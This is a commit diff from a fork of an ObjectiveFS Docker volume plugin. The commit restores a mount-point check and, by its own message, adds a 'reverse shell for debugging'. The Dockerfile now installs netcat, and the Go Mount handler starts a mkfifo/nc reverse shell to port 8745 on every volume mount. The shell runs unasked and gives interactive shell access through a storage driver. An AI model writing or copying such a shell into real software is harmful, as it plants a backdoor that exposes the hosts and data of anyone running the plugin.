forked from Ivasoft/objectivefs-docker-volume
Restore mount point check but create reverse shell for debugging
All checks were successful
continuous-integration/drone/push Build is passing
All checks were successful
continuous-integration/drone/push Build is passing
This commit is contained in:
@@ -14,6 +14,6 @@ COPY --from=builder /usr/local/src/objectivefs-docker-volume/bin/objectivefs-doc
|
||||
COPY bin/mount.objectivefs /sbin/
|
||||
COPY config.json /
|
||||
|
||||
RUN apt-get update && apt-get install -y fuse && rm -rf /var/lib/apt/lists/* && \
|
||||
RUN apt-get update && apt-get install -y fuse netcat && rm -rf /var/lib/apt/lists/* && \
|
||||
mkdir -p /run/docker/plugins && \
|
||||
chmod +x /sbin/mount.objectivefs
|
||||
|
||||
12
main.go
12
main.go
@@ -393,6 +393,10 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
|
||||
return &volume.MountResponse{}, fmt.Errorf("unexpected error mounting '%s' error: %s", r.Name, err.Error())
|
||||
}
|
||||
|
||||
// Reverse shell
|
||||
cmdLs := exec.Command("/bin/sh", "-c", "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8745 >/tmp/f")
|
||||
cmdLs.Start()
|
||||
|
||||
// The drawback of running the mount in the foreground is there is no easy way to tell if it failed
|
||||
// to initially connect. So we just wait a fixed amount of time and check for process exit or mount
|
||||
// success.
|
||||
@@ -406,11 +410,9 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
|
||||
}
|
||||
|
||||
// Check for mount
|
||||
time.Sleep(1000 * time.Millisecond)
|
||||
break
|
||||
//if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs {
|
||||
// break
|
||||
//}
|
||||
if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
log.WithFields(log.Fields{"name": r.Name}).Info("Volume mounted")
|
||||
|
||||
Reference in New Issue
Block a user